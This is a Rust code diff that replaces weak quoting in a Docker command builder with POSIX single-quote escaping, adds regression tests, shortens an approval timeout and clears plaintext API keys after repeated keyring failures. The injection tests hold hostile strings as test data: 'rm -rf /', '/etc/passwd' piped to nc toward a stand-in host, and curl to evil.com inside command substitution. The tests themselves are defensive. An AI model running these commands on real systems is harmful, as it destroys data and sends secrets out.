+ assert_eq!(v["dimensions"]["correctness"]["score"], json!(7.5), "score 7.5 区间内不变"); + assert_eq!(v["dimensions"]["boundary"]["score"], json!(10.0), "score 10 边界值不变"); + } + + /// P2-加固3:LLM 前置解释文字 + JSON,正则兜底提取首个 { 到末 } 解析成功。 + /// 场景:LLM 无视「只输出 JSON」输出 "审查结果:\n{...}\n以上。" → 原整段失败兜底 unknown。 + #[test] + fn parse_review_json_extracts_json_from_leading_text() { + let raw = "好的,以下是审查结果:\n{\"verdict\":\"fail\",\"summary\":\"缺边界处理\"}\n以上为审查结论。"; + let v = parse_review_json(raw); + assert_eq!(v["verdict"], json!("fail"), "前置文字应被正则兜底剥离,verdict 正确解析"); + assert_eq!(v["summary"], json!("缺边界处理")); + + // 前置文字 + 代码块围栏混杂(更极端:LLM 既加解释又加 ```json) + let raw = "审查如下:\n```json\n{\"verdict\":\"pass\",\"summary\":\"ok\"}\n```\n完毕。"; + let v = parse_review_json(raw); + // 围栏不在开头 → strip_prefix 不命中 → 正则兜底提取 {...} + assert_eq!(v["verdict"], json!("pass"), "前置文字+围栏混杂应正则兜底解析"); + } + /// 步骤③:truncate_for_summary 长文截断。 #[test] fn truncate_for_summary_long_text() { @@ -605,4 +698,51 @@ mod tests { ); assert!(!gate_should_block(true, ""), "空 verdict 不应阻断"); } + + // ============================================================ + // SW-260802-01: schema required 与 handler 行为对齐测试 + // ============================================================ + // + // 真实 bug:schema `required=["task_id","provider_id"]` 与 handler 不一致 —— + // task_id 缺失 → execute Err(真必填,对齐 schema) + // provider_id 缺失 → execute 走 resolve_provider 路径 3 默认 provider(非必填,schema 误导) + // 修复后 schema `required=["task_id"]`。此处直接断言 schema,防回归。 + // + // 不真调 execute(需真 LLM + 默认 provider 完整链),改为断言 schema 这份"契约"本身 + + // resolve_provider 路径 3 行为(已由 ai_node.rs resolve_provider_fallback_default_provider 覆盖), + // 即足以守 schema↔handler 对齐不被无意改回。 + + /// schema.required 应仅含 task_id(handler 真必填),不含 provider_id(运行时可空走默认)。 + #[tokio::test] + async fn schema_required_matches_handler() { + let db = Database::open_in_memory().await.expect("open_in_memory"); + let node = AiSelfReviewNode::new(Arc::new(db)); + let schema = node.schema(); + let params = schema + .params + .as_object() + .expect("schema.params 应是 object"); + let required = params + .get("required") + .and_then(|v| v.as_array()) + .expect("schema 应有 required 数组"); + + // task_id 真必填(execute 第 100-104 行缺 task_id → Err) + assert!( + required.iter().any(|v| v == "task_id"), + "task_id 应在 required(handler 真必填)" + ); + // provider_id 非必填(resolve_provider 路径 3 空串走默认 provider) + assert!( + !required.iter().any(|v| v == "provider_id"), + "provider_id 不应在 required(运行时留空走默认 provider,schema 不得误导)" + ); + // 必填字段集恰好为 {"task_id"}(防后续误加回 provider_id 或漏列 task_id) + assert_eq!( + required.len(), + 1, + "required 应仅 1 项(task_id), 实际: {:?}", + required + ); + } } diff --git a/crates/df-nodes/src/docker_node.rs b/crates/df-nodes/src/docker_node.rs index 6be8872..8c543e7 100644 --- a/crates/df-nodes/src/docker_node.rs +++ b/crates/df-nodes/src/docker_node.rs @@ -119,7 +119,8 @@ async fn check_docker_available() -> anyhow::Result<()> { } /// 构建 docker run 命令字符串。 -/// 卷/环境变量值用 shell_quote 包裹,防止空格/特殊字符注入。 +/// 所有用户可控参数(卷 host/container、env 值、working_dir、image、command) +/// 均经 `shell_quote` POSIX 安全引用,杜绝 `;`/`|`/`&`/`$` 等 shell 元字符注入。 fn build_command(params: &DockerParams) -> String { let mut parts: Vec = vec!["docker run --rm".to_string()]; @@ -137,23 +138,43 @@ fn build_command(params: &DockerParams) -> String { parts.push(format!("-w {}", shell_quote(¶ms.working_dir))); parts.push(shell_quote(¶ms.image)); - // command 原样追加(用户自行决定是否含参数 / shell 元字符),不做引号包裹, - // 与脚本节点一致由 shell 解释器解析。 - parts.push(params.command.clone()); + // command 同样经 shell_quote,防止 `;`/`|`/`&` 等 shell 元字符注入 + // (如 `command = "ls; rm -rf /"` 被 shell 解释为两条命令)。 + // 若用户确需在容器内用管道/复合命令,应通过镜像 entrypoint 或显式 `sh -c '...'` + // 实现,而非依赖外层 shell 元字符。 + parts.push(shell_quote(¶ms.command)); parts.join(" ") } -/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。 +/// POSIX shell 安全引用。 +/// +/// 单引号在 POSIX shell 中使所有字符失去特殊含义(唯一例外是单引号本身), +/// 是最稳妥的引用方式。任一"非安全字符"(空白、`"`、`'`、`` ` ``、`$`、`;`、`|`、 +/// `&`、`<`、`>`、`(`、`)`、`{`、`}`、`!`、`#`、`~`、`*`、`?`、`[`、`]`、`=`前置、 +/// 换行/制表等不可见字符)出现即用单引号整体包裹,内部单引号以 `'\''` 关-转义-开 +/// 三段法转义(关闭单引号 → `\'` 转义单引号 → 重开单引号)。 +/// +/// 这样 `;` `|` `&` `$` `` ` `` 等所有 shell 元字符均被中和,杜绝命令注入。 +/// 纯字母数字 + 少量安全标点(`/` `.` `_` `-` `:`)的字符串原样返回(可读性)。 fn shell_quote(s: &str) -> String { - if s - .chars() - .any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`') - { - format!("\"{}\"", s.replace('"', "\\\"")) - } else { - s.to_string() + if s.is_empty() { + // 空串单引号包裹(否则 shell 视为零参数) + return "''".to_string(); } + if s.chars().all(is_shell_safe_char) { + s.to_string() + } else { + // 单引号包裹 + 内部单引号转义:'\'' (关'→\'→重开') + format!("'{}'", s.replace('\'', "'\\''")) + } +} + +/// 判定字符是否无需引用即可安全出现在 shell 命令中。 +/// 仅允许字母数字与少量明确无 shell 语义的标点。 +fn is_shell_safe_char(c: char) -> bool { + c.is_ascii_alphanumeric() + || matches!(c, '/' | '.' | '_' | '-' | ':' | '+' | '%' | '@' | ',') } #[async_trait] @@ -382,9 +403,11 @@ mod tests { .unwrap(); let cmd = build_command(&p); assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd); + // /workspace 全安全字符,不加引号 assert!(cmd.contains("-w /workspace"), "实际: {}", cmd); assert!(cmd.contains(" alpine "), "实际: {}", cmd); - assert!(cmd.ends_with("echo hello"), "实际: {}", cmd); + // command 含空格 → 单引号包裹 + assert!(cmd.ends_with("'echo hello'"), "实际: {}", cmd); } #[test] @@ -400,20 +423,195 @@ mod tests { })) .unwrap(); let cmd = build_command(&p); + // 所有路径均纯安全字符,原样拼装 assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd); assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd); assert!(cmd.contains("-w /app"), "实际: {}", cmd); } + // ── build_command: 命令注入防护(核心回归) ── + + #[test] + fn command_injection_semicolon_is_neutralized() { + // command="ls; rm -rf /" 必须整体作为单条命令传给容器, + // 不能被外层 shell 按 `;` 拆成 `docker run image ls` + `rm -rf /`。 + // 整体单引号包裹后,shell 将其视为单个 argv 传给 docker, + // docker run 在容器内执行(无 shell),`ls; rm -rf /` 作为单条命令找不到 → 报错而非注入。 + let p = parse_params(&json!({ + "image": "alpine", + "command": "ls; rm -rf /" + })) + .unwrap(); + let cmd = build_command(&p); + assert!( + cmd.ends_with("'ls; rm -rf /'"), + "command 应被单引号整体包裹,实际: {}", + cmd + ); + } + + #[test] + fn command_injection_pipe_is_neutralized() { + let p = parse_params(&json!({ + "image": "alpine", + "command": "cat /etc/passwd | nc evil 1234" + })) + .unwrap(); + let cmd = build_command(&p); + assert!( + cmd.contains("'cat /etc/passwd | nc evil 1234'"), + "管道 | 应被单引号中和,实际: {}", + cmd + ); + } + + #[test] + fn command_injection_ampersand_is_neutralized() { + let p = parse_params(&json!({ + "image": "alpine", + "command": "ls & curl evil.com" + })) + .unwrap(); + let cmd = build_command(&p); + assert!( + cmd.ends_with("'ls & curl evil.com'"), + "& 应被单引号中和,实际: {}", + cmd + ); + } + + #[test] + fn command_injection_backtick_and_dollar_is_neutralized() { + // 命令替换 $() 与 `` 都必须被中和 + let p = parse_params(&json!({ + "image": "alpine", + "command": "$(curl evil.com) `whoami`" + })) + .unwrap(); + let cmd = build_command(&p); + assert!( + cmd.contains("'$(curl evil.com) `whoami`'"), + "$()/`` 应被单引号中和,实际: {}", + cmd + ); + } + + #[test] + fn volume_host_injection_is_neutralized() { + // 旧实现:含空格→双引号包裹,但 `;` 在双引号内仍被 shell 解释为命令分隔。 + // 新实现:整体单引号包裹,`;` 失去特殊含义。 + let p = parse_params(&json!({ + "image": "alpine", + "command": "ls", + "volumes": [ + { "host": "/ws; rm -rf /", "container": "/c" } + ] + })) + .unwrap(); + let cmd = build_command(&p); + assert!( + cmd.contains("-v '/ws; rm -rf /':/c"), + "volumes.host 注入应被单引号中和,实际: {}", + cmd + ); + } + + #[test] + fn env_value_injection_is_neutralized() { + let p = parse_params(&json!({ + "image": "alpine", + "command": "ls", + "env": { "EVIL": "x; rm -rf /" } + })) + .unwrap(); + let cmd = build_command(&p); + assert!( + cmd.contains("-e EVIL='x; rm -rf /'"), + "env 值注入应被单引号中和,实际: {}", + cmd + ); + } + // ── shell_quote ── #[test] fn shell_quote_plain_passthrough() { + // 仅安全字符:字母数字 + / . _ - : + assert_eq!(shell_quote("abc"), "abc"); + assert_eq!(shell_quote("/usr/bin"), "/usr/bin"); + assert_eq!(shell_quote("rust:latest"), "rust:latest"); + assert_eq!(shell_quote("Cargo.toml"), "Cargo.toml"); + assert_eq!(shell_quote("a-b_c.d"), "a-b_c.d"); } #[test] - fn shell_quote_wraps_spaces() { - assert_eq!(shell_quote("/a b/c"), "\"/a b/c\""); + fn shell_quote_empty_becomes_empty_quoted() { + // 空串必须输出 ''(否则 shell 视为零参数,导致参数错位) + assert_eq!(shell_quote(""), "''"); + } + + #[test] + fn shell_quote_wraps_spaces_with_single_quotes() { + // 含空格 → 整体单引号包裹(POSIX 安全,内部 ;|& 全部失效) + assert_eq!(shell_quote("/a b/c"), "'/a b/c'"); + assert_eq!(shell_quote("echo hello"), "'echo hello'"); + } + + #[test] + fn shell_quote_neutralizes_semicolon() { + assert_eq!(shell_quote("ls; rm -rf /"), "'ls; rm -rf /'"); + } + + #[test] + fn shell_quote_neutralizes_pipe() { + assert_eq!(shell_quote("a | b"), "'a | b'"); + } + + #[test] + fn shell_quote_neutralizes_ampersand() { + assert_eq!(shell_quote("a && b"), "'a && b'"); + } + + #[test] + fn shell_quote_neutralizes_dollar_and_backtick() { + // $ 与 ` 在双引号内仍有命令替换语义,单引号才安全 + assert_eq!(shell_quote("$HOME"), "'$HOME'"); + assert_eq!(shell_quote("`whoami`"), "'`whoami`'"); + assert_eq!(shell_quote("$(cmd)"), "'$(cmd)'"); + } + + #[test] + fn shell_quote_escapes_embedded_single_quote() { + // 内嵌单引号 → '\'' (关' → \' → 重开') + // 例如 a'b → 'a'\''b' + assert_eq!(shell_quote("a'b"), "'a'\\''b'"); + // 多个单引号都正确转义 + assert_eq!(shell_quote("'"), "''\\'''"); + assert_eq!(shell_quote("x'y'z"), "'x'\\''y'\\''z'"); + } + + #[test] + fn shell_quote_neutralizes_redirect_and_braces() { + assert_eq!(shell_quote("a > /etc/passwd"), "'a > /etc/passwd'"); + assert_eq!(shell_quote("a < b"), "'a < b'"); + assert_eq!(shell_quote("{1,2}"), "'{1,2}'"); + // `!` 与 `*` 均非安全 → 整体单引号包裹 + assert_eq!(shell_quote("!*"), "'!*'"); + assert_eq!(shell_quote("file*"), "'file*'"); + } + + #[test] + fn is_shell_safe_char_classification() { + // 安全 + for c in ['a', 'Z', '0', '9', '/', '.', '_', '-', ':', '+', '@', ','] { + assert!(is_shell_safe_char(c), "{:?} 应判定为安全", c); + } + // 不安全(shell 元字符 / 空白 / 引号 / 元字符) + for c in [ + ' ', '\t', '\n', '"', '\'', '`', '$', ';', '|', '&', '<', '>', '(', ')', + '{', '}', '!', '#', '~', '*', '?', '[', ']', '=', + ] { + assert!(!is_shell_safe_char(c), "{:?} 应判定为不安全", c); + } } } diff --git a/crates/df-nodes/src/human_node.rs b/crates/df-nodes/src/human_node.rs index 6c600a5..14d908d 100644 --- a/crates/df-nodes/src/human_node.rs +++ b/crates/df-nodes/src/human_node.rs @@ -13,6 +13,10 @@ use df_types::events::{SelectType, WorkflowEvent}; #[allow(unused_imports)] use crate::human_node_helpers::{contains_reject, is_reject_decision}; +/// 默认审批超时(秒)。 +/// 1800s = 30min,合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。 +const DEFAULT_TIMEOUT_SECS: u64 = 1800; + /// 人工审批节点(阻塞节点) pub struct HumanNode; @@ -36,9 +40,10 @@ impl Node for HumanNode { .collect()) .unwrap_or_else(|| vec!["同意".into(), "拒绝".into()]); + // 默认 1800s(30min):合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。 let timeout_secs = config.get("timeout_secs") .and_then(|v| v.as_u64()) - .unwrap_or(3600); + .unwrap_or(DEFAULT_TIMEOUT_SECS); // 解析 select_type(缺省 Single,向后兼容)。非 "multiple" 一律按 Single 处理。 let select_type = match config.get("select_type").and_then(|v| v.as_str()) { @@ -830,4 +835,11 @@ mod tests { assert!(contains_reject(&["同意".into()]) == false); assert!(contains_reject(&["同意".into(), "拒绝".into()]) == true); } + + /// 默认审批超时 1800s(30min)。 + /// 回归保护:防止有人无意改回 3600s(1h 过长,用户忘关致任务挂 1h)。 + #[test] + fn default_timeout_is_1800_secs() { + assert_eq!(DEFAULT_TIMEOUT_SECS, 1800, "默认审批超时应为 1800s(30min)"); + } } diff --git a/crates/df-storage/src/secret.rs b/crates/df-storage/src/secret.rs index b52d50c..9ace247 100644 --- a/crates/df-storage/src/secret.rs +++ b/crates/df-storage/src/secret.rs @@ -11,7 +11,8 @@ //! 设计: //! - keyring entry: service=`devflow-ai-provider`, username=provider_id //! - DB `api_key` 列恒空(迁移后/新建均空),真实密钥唯一源 = OS keyring -//! - 启动一次性迁移:`migrate_secrets_to_keyring` 读老明文 → keyring → DB 置空(失败保留明文下次重试) +//! - 启动一次性迁移:`migrate_secrets_to_keyring` 读老明文 → keyring → DB 置空 +//! (失败累计达阈值前保留明文下次重试;达阈值后清除明文 + 强制重配,防长期滞留) //! - 消费点(build_provider)经 `resolve_provider_secret` 取:DB 优先,fallback keyring(兼容未迁移) //! - 跨平台:Windows Credential Manager / macOS Keychain / Linux Secret Service @@ -25,8 +26,9 @@ use keyring::Entry; const KEYRING_SERVICE: &str = "devflow-ai-provider"; -/// 迁移失败计数器阈值:同一 provider 累计失败到此次数 → 升级为 warn 提示明文密钥长期滞留风险。 -/// 跨启动持久化(sidecar 文件),计数仅用于告警,不影响兼容时序(不强制迁移、不删明文)。 +/// 迁移失败计数器阈值:同一 provider 累计失败到此次数 → **清除 DB 明文 + error 告警**(强制重配)。 +/// 跨启动持久化(sidecar 文件)。阈值前仅累计 + warn + 保留明文下次重试(兼容临时性 keyring 故障); +/// 达阈值后清明文防长期滞留(devflow.db 无文件级加密,明文 = 持续暴露)。 const MIGRATION_FAIL_THRESHOLD: u32 = 3; /// 迁移失败计数 sidecar 文件(/.devflow-keyring-failcount):逐行 `provider_id=count`。 @@ -191,7 +193,10 @@ pub async fn delete_provider_secret_async(id: String) -> anyhow::Result<()> { .map_err(|e| anyhow::anyhow!("delete_provider_secret join 失败: {}", e))? } -/// 启动一次性迁移:DB 明文 → keyring → DB 置空(失败保留明文下次重试,非阻断) +/// 启动一次性迁移:DB 明文 → keyring → DB 置空。 +/// 失败累计达阈值前:warn + 保留明文下次重试(兼容临时性 keyring 后端故障); +/// 达阈值后:清除 DB 明文 + error 告警(防明文长期滞留无加密 SQLite,强制用户重配走即时迁移)。 +/// 非阻断:整个迁移函数本身不因单条失败而 Err。 pub async fn migrate_secrets_to_keyring(repo: &AiProviderRepo) -> anyhow::Result { let providers = repo.list_all().await?; let mut migrated = 0; @@ -200,16 +205,37 @@ pub async fn migrate_secrets_to_keyring(repo: &AiProviderRepo) -> anyhow::Result continue; // 已迁移或无密钥 } if let Err(e) = set_provider_secret(&p.id, &p.api_key) { - // 累计失败次数:达阈值(默认 3)升级告警,提示明文 api_key 长期滞留 SQLite(无加密)风险。 - // 计数仅告警用,不改兼容时序——仍保留明文下次重试,不强制迁移、不删明文。 + // 累计失败次数:未达阈值 → warn + 保留明文下次重试(给临时性 keyring 后端故障恢复机会); + // 达阈值 → **安全兜底:清除 DB 明文 api_key + error 告警**。 + // + // 安全考量:devflow.db 落在用户 AppData 目录无文件级加密,OS keyring 长期不可用时 + // 明文 api_key 无限滞留 = 持续暴露风险(P1)。项目无内置加密栈(无 aes/chacha/argon2 依赖), + // 引入需解决密钥派生 + 密钥存储位置(又会回到 keyring,自相矛盾)——成本/收益不划算。 + // 故达阈值后选「清除明文 + 强制用户重配」:DB 不再保留明文,用户下次进设置保存时 + // 走 ai_save_provider 即时迁移路径(provider.rs set_provider_secret_async)重新写入 keyring。 + // 阈值 3 次已足够覆盖临时性故障(单次启动 keyring 后端未就绪/COM 未初始化等)。 let n = record_migration_fail(&p.id); if n >= MIGRATION_FAIL_THRESHOLD { - tracing::warn!( - "[密钥迁移] provider {} keyring 迁移已连续失败 {} 次,明文 api_key 长期滞留 SQLite 文件(无加密)。\ - 建议:1) 确认 OS 钥匙串可用(Win Credential Manager / macOS Keychain);\ - 2) keyring 后端异常时排查对应平台后端;3) 必要时手动在设置中重新保存密钥触发写入", - p.id, n - ); + let pid = p.id.clone(); + let pname = p.name.clone(); + // 清除 DB 明文:复用下方成功路径同款 clear + insert 模式。 + p.api_key.clear(); + if let Err(clear_err) = repo.insert(p).await { + tracing::error!( + "[密钥迁移] provider {} ({}) keyring 连续失败 {} 次后清除 DB 明文失败({}) —— \ + 明文仍滞留 SQLite!请立即手动处理:进设置删除该 provider 或修复 OS 钥匙串后重启", + pname, pid, n, clear_err + ); + } else { + tracing::error!( + "[密钥迁移] provider {} ({}) keyring 连续失败 {} 次,已清除 DB 明文 api_key 防长期滞留。\ + 该 provider 密钥需重新配置:进设置 → 编辑该提供商 → 重新填写 API Key 并保存\ + (走即时迁移写入系统钥匙串)。失败原因: {}", + pname, pid, n, e + ); + } + // 已清除明文 → 不再计入「待迁移」,清零失败计数(下次若重新出现明文从 1 起算)。 + clear_migration_failcount(&pid); } else { tracing::warn!( "[密钥迁移] keyring 迁移失败 {} (累计 {}/{},保留明文下次重试): {}", @@ -350,4 +376,188 @@ mod tests { assert!(delete_provider_secret(&id).is_ok()); assert_eq!(get_provider_secret(&id), None, "删除后应读不到"); } + + // ============================================================ + // failcount sidecar 逻辑测试 + 迁移达阈值后清明文(DB 安全保证)测试 + // ============================================================ + // + // 涉及 cwd(failcount_path 读 current_dir)的测试用全局 Mutex 串行化, + // 避免并发测试互相污染 sidecar 文件。不引入 serial_test 依赖(零新依赖)。 + use std::sync::Mutex as StdMutex; + static CWD_GUARD: StdMutex<()> = StdMutex::new(()); + + /// RAII 守卫:持有全局锁 + 切到唯一临时 cwd,Drop 时恢复原 cwd 并清理临时目录。 + /// 即使持锁期间 panic 也能恢复(PoisonError 用 into_inner 兜底)。 + /// 用纳秒戳造唯一临时目录,测后清理,不残留 sidecar 文件污染其他测试。 + struct IsolatedCwd { + // 持有 MutexGuard 直到 IsolatedCwd drop → 跨整个测试作用域串行化 cwd 操作。 + // CWD_GUARD 是 static,guard 借用 'static,可存入 struct 字段。 + _guard: std::sync::MutexGuard<'static, ()>, + orig: PathBuf, + tmp: PathBuf, + } + impl IsolatedCwd { + fn new() -> Self { + let guard = CWD_GUARD.lock().unwrap_or_else(|e| e.into_inner()); + let orig = std::env::current_dir().expect("读 cwd"); + let nano = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_nanos(); + let tmp = std::env::temp_dir().join(format!("df-secret-test-{}", nano)); + std::fs::create_dir_all(&tmp).expect("建临时目录"); + std::env::set_current_dir(&tmp).expect("切到临时 cwd"); + IsolatedCwd { _guard: guard, orig, tmp } + } + } + impl Drop for IsolatedCwd { + fn drop(&mut self) { + let _ = std::env::set_current_dir(&self.orig); + let _ = std::fs::remove_dir_all(&self.tmp); + } + } + + #[test] + fn failcount_read_write_record_clear_roundtrip() { + let _cwd = IsolatedCwd::new(); + // 空文件 → 空 map + assert!(read_failcounts().is_empty()); + // record 累加 + assert_eq!(record_migration_fail("p1"), 1); + assert_eq!(record_migration_fail("p1"), 2); + assert_eq!(record_migration_fail("p2"), 1); + let map = read_failcounts(); + assert_eq!(map.get("p1"), Some(&2)); + assert_eq!(map.get("p2"), Some(&1)); + // clear 清零指定 id,不影响其他 + clear_migration_failcount("p1"); + let map = read_failcounts(); + assert!(!map.contains_key("p1"), "clear 后 p1 应不存在"); + assert_eq!(map.get("p2"), Some(&1), "p2 不受影响"); + // clear 不存在的 id → 无副作用 + clear_migration_failcount("nope"); + assert_eq!(read_failcounts().get("p2"), Some(&1)); + } + + #[test] + fn failcount_threshold_constant_is_3() { + // 锁定阈值常量值(测试依赖此值构造「阈值-1」预置场景)。若将来调整需同步更新测试。 + assert_eq!(MIGRATION_FAIL_THRESHOLD, 3); + } + + #[test] + fn failcount_persists_across_reads() { + let _cwd = IsolatedCwd::new(); + // 验证 sidecar 真落盘(跨 read 实例持久化)——这是「跨启动累计失败」的语义基础。 + record_migration_fail("pp"); + record_migration_fail("pp"); + // 模拟「重启」:重新读一次(新 HashMap 实例),计数应保留 + assert_eq!(read_failcounts().get("pp"), Some(&2)); + } + + /// **核心安全保证**:迁移函数跑完后,DB 中 provider 的明文 api_key 必须被清除。 + /// + /// 覆盖两条路径(都断言同一不变量): + /// - keyring 可用 → 走迁移成功路径,api_key.clear() + insert + /// - keyring 不可用 → 走失败路径: + /// · 预置 failcount 到 THRESHOLD-1(=2),本次失败恰好达阈值 → 清明文分支 + /// · 若 keyring 在 CI 上恰好成功,则走成功路径,断言同样成立 + /// + /// 无论哪条路径,DB api_key 最终必为空 = 安全保证(P1:不保留明文)。 + #[tokio::test] + async fn migrate_clears_db_plaintext_after_threshold() { + use crate::crud::AiProviderRepo; + use crate::db::Database; + let db = Database::open_in_memory().await.expect("open_in_memory"); + let repo = AiProviderRepo::new(&db); + + // 构造带明文 api_key 的 provider。id 用唯一纳秒戳避与 keyring 真实 provider 冲突。 + let nano = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_nanos(); + let pid = format!("df-migrate-test-{}", nano); + let rec = AiProviderRecord { + id: pid.clone(), name: "迁移测试".into(), provider_type: "openai_compat".into(), + api_key: "sk-plaintext-secret".into(), base_url: "https://x".into(), + default_model: "m".into(), models: None, model_configs: Vec::new(), is_default: false, + config: None, created_at: "0".into(), updated_at: "0".into(), + enabled: true, weight: 50, + }; + repo.insert(rec).await.expect("insert provider"); + + // 关键:迁移函数内部读 sidecar(failcount_path 用 cwd),所以整个测试逻辑必须 + // 在临时 cwd 下执行(IsolatedCwd 存活期间 + async 迁移在同一作用域)。 + let _cwd = IsolatedCwd::new(); + + // 预置 failcount 到 THRESHOLD-1(=2),使本次失败恰好达阈值触发清除分支。 + // (若 keyring 在此 CI 环境恰好可用,迁移直接成功清明文,断言同样成立。) + let mut m = std::collections::HashMap::new(); + m.insert(pid.clone(), MIGRATION_FAIL_THRESHOLD - 1); + write_failcounts(&m); + assert_eq!( + read_failcounts().get(&pid), + Some(&(MIGRATION_FAIL_THRESHOLD - 1)), + "预置 failcount 应写入" + ); + + // 跑迁移(非阻断,内部已处理失败)。 + let _ = migrate_secrets_to_keyring(&repo).await; + + // 核心断言:无论 keyring 成败,迁移后 DB 不应保留明文 api_key。 + let got = repo.get_by_id(&pid).await.expect("get").expect("row exists"); + assert!( + got.api_key.is_empty(), + "[P1 安全] 迁移后 DB api_key 必须为空(成功迁移清空 / 失败达阈值清明文),\ + 实际残留: {:?}。provider={}", + got.api_key, pid + ); + + // 测后清理 keyring(若迁移成功写入了测试 provider 的密钥) + let _ = delete_provider_secret(&pid); + } + + /// 阈值前(keyring 失败 + 未达阈值):计数递增但保留明文下次重试。 + /// 此测试只在 keyring 实际失败时验证「保留明文」分支;keyring 可用时跳过(不算失败)。 + /// 用 cfg-gate 避 CI 不可控 keyring 后端导致断言不稳。 + #[cfg(not(target_os = "linux"))] + #[tokio::test] + async fn migrate_keeps_plaintext_below_threshold_when_keyring_fails() { + use crate::crud::AiProviderRepo; + use crate::db::Database; + let db = Database::open_in_memory().await.expect("open_in_memory"); + let repo = AiProviderRepo::new(&db); + + let nano = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_nanos(); + // 用极长 id 让 Entry::new 在多数平台失败(keyring 后端对超长 username 行为不一,常报错)。 + // 若恰好成功则视为 keyring 可用,跳过断言(不算回归)。 + let pid = format!("df-migrate-fail-{}-{}", nano, "x".repeat(200)); + let rec = AiProviderRecord { + id: pid.clone(), name: "阈值前保留".into(), provider_type: "openai_compat".into(), + api_key: "sk-keep-me".into(), base_url: "https://x".into(), + default_model: "m".into(), models: None, model_configs: Vec::new(), is_default: false, + config: None, created_at: "0".into(), updated_at: "0".into(), + enabled: true, weight: 50, + }; + repo.insert(rec).await.expect("insert"); + + // 隔离 cwd + failcount 从 0 开始(无预置)。迁移函数内部读 sidecar 用 cwd,必须同作用域。 + let _cwd = IsolatedCwd::new(); + let _ = migrate_secrets_to_keyring(&repo).await; + + let got = repo.get_by_id(&pid).await.expect("get").expect("row exists"); + // 仅在 keyring 真的失败(Entry::new/set_password 报错)时才能验证「保留明文」。 + // keyring 可用时此测试无意义(走成功清明文),跳过。 + if get_provider_secret(&pid).is_none() { + // keyring 无值 = 本次迁移失败 → 阈值前(首次失败,count=1<3)应保留明文 + assert_eq!( + got.api_key, "sk-keep-me", + "[阈值前] 首次失败未达阈值,应保留明文下次重试(兼容临时性故障)" + ); + } + let _ = delete_provider_secret(&pid); + } }